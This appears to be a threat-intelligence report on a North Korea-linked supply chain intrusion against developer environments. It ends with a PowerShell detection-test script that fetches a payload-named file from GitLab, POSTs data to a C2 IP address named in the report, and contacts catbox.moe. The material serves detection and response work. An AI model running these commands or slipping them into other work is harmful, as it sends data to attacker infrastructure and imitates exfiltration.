DPRK PolinRider Campaign Shows Hands-on-Keyboard Supply Chain Activity

Summary

A North Korea-linked threat actor carried out a supply chain attack against developer environments using trojanized Python packages. The intrusion chain included a Node.js loader, a JavaScript C2 implant, and a Python-based information stealer. The actor established persistence by disguising malicious components as legitimate Microsoft .NET optimization services.

Investigation

The investigation took place inside a high-fidelity deception environment where a decoy corporate workstation was monitored for 167 hours. Analysts captured hands-on-keyboard activity in real time, including malicious payload execution and data staging. The collected telemetry exposed the full attack chain, from initial compromise through a malicious repository to host data exfiltration.

Mitigation

Organizations should enforce rigorous dependency scanning across npm, PyPI, and other package managers. Egress filtering should block HTTP connections to raw public IP addresses over non-standard ports. Defenders should also monitor for unusual persistence mechanisms, including scheduled tasks or registry entries imitating Microsoft .NET components from system profile paths.

Response

If malicious activity is detected, security teams should immediately isolate the affected developer or build environment. Responders should hunt for known C2 IP addresses and suspicious file patterns such as SvcHostUpdate.py. A forensic review of recently installed third-party dependencies should also be performed, along with an audit of the system profile for unauthorized MicrosoftCLROptimization artifacts.

Simulation Execution

Prerequisite: The Telemetry & Baseline Pre-flight Check must have passed.

Rationale: This section details the precise execution of the adversary technique (TTP) designed to trigger the detection rule. The commands and narrative MUST directly reflect the TTPs identified and aim to generate the exact telemetry expected by the detection logic. Abstract or unrelated examples will lead to misdiagnosis.

• Attack Narrative & Commands: The adversary aims to progress the infection by fetching a second-stage payload and exfiltrating stolen configuration data. To mimic PolinRider, the attacker will:

  1. Use curl or Invoke-WebRequest to fetch a dummy file from a “raw” GitLab URL.
  2. Perform a POST request to the identified C2 IP (150.251.113.223:8443) while spoofing a User-Agent that matches the rotating.*agent pattern.
  3. Reach out to dns.catbox.moe to simulate a secondary C2 heartbeat or payload delivery. These actions are designed to trigger the three distinct selection criteria in the Sigma rule.

• Regression Test Script:

    # PolinRider Simulation Script
  
    Write-Host "[!] Starting PolinRider Network Simulation..." -ForegroundColor Cyan
  
    # 1. Trigger Selection 2: Fetching from GitLab Raw
    Write-Host "[*] Triggering Selection 2: GitLab Raw Fetch..."
    Invoke-WebRequest -Uri "https://gitlab.com/api/v4/raw/malicious_payload.exe" -Method Get -UserAgent "Mozilla/5.0"
  
    # 2. Trigger Selection 1: POST to C2 with Rotating User-Agent
    Write-Host "[*] Triggering Selection 1: C2 POST with Rotating User-Agent..."
    $c2Url = "http://150.251.113.223:8443/upload"
    $fakeUA = "Mozilla/5.0 rotating-agent-v1.2"
    Invoke-WebRequest -Uri $c2Url -Method POST -UserAgent $fakeUA -Body "dummy_data"
  
    # 3. Trigger Selection 3: DNS/URL pattern for catbox.moe
    Write-Host "[*] Triggering Selection 3: Catbox.moe connection..."
    Invoke-WebRequest -Uri "https://dns.catbox.moe/check" -Method Get -UserAgent "Mozilla/5.0"
  
    Write-Host "[+] Simulation Complete. Check SIEM for alerts." -ForegroundColor Green

• Cleanup Commands:

    # No persistent changes made to the system; 
    # Network connections are ephemeral. 
    # No files were written to disk in this simulation.
    Write-Host "[*] Cleanup: No files or registry keys were modified. Simulation is clean." -ForegroundColor Cyan